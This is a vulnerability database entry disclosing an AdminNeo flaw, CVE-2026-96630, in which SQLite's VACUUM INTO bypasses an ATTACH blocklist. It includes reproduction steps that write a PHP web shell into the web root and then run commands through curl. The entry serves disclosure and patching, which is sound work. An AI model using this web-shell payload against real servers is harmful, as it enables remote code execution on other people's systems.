CVE-2026-96630
AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)
Also known as GHSA-q5mp-gfjf-cf2j
Mitigation
- Upgrade adminneo-org/adminneo to 5.5.1 or later.
Who should check
- Projects that depend on Packagist package adminneo-org/adminneo (< 5.5.1)
Vulnerability facts
- Affected
- adminneo-org/adminneo < 5.5.1
- Fixed in
- 5.5.1
- Exploited in the wild
- Not in CISA KEV
- Public exploit / PoC
- None known
- Remote exploitation
- Unknown
- CVSS
- Not scored yet
- Modified
Description
## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Affected and fixed versions
| Package / product | Affected | Fixed | Source |
|---|---|---|---|
| Packagist adminneo-org/adminneo | < 5.5.1 | 5.5.1 | osv |
Check your systems with an agent
Paste this into Claude Code, Cursor or another coding agent. It only reads; it changes nothing.
Check whether anything I run is affected by CVE-2026-96630. Work read-only: do not install, upgrade, delete or change anything. Details: https://flawdb.com/CVE-2026-96630.md Affected: adminneo-org/adminneo < 5.5.1 Fixed in: 5.5.1 Steps: 1. Search this machine and project for adminneo-org/adminneo (Packagist): dependency manifests and lockfiles, installed packages, container images and running services. 2. For each match, note the installed version and whether it is inside the affected range. 3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
References
FAQ
Is CVE-2026-96630 being exploited?
There is no confirmed exploitation: CVE-2026-96630 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.
How serious is CVE-2026-96630?
It has no CVSS score yet. Unknown.
Which versions are affected by CVE-2026-96630?
adminneo-org/adminneo < 5.5.1.
Is there a fix for CVE-2026-96630?
Yes. Fixed in 5.5.1. Upgrade adminneo-org/adminneo to 5.5.1 or later.
How do I check if I'm affected by CVE-2026-96630?
Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.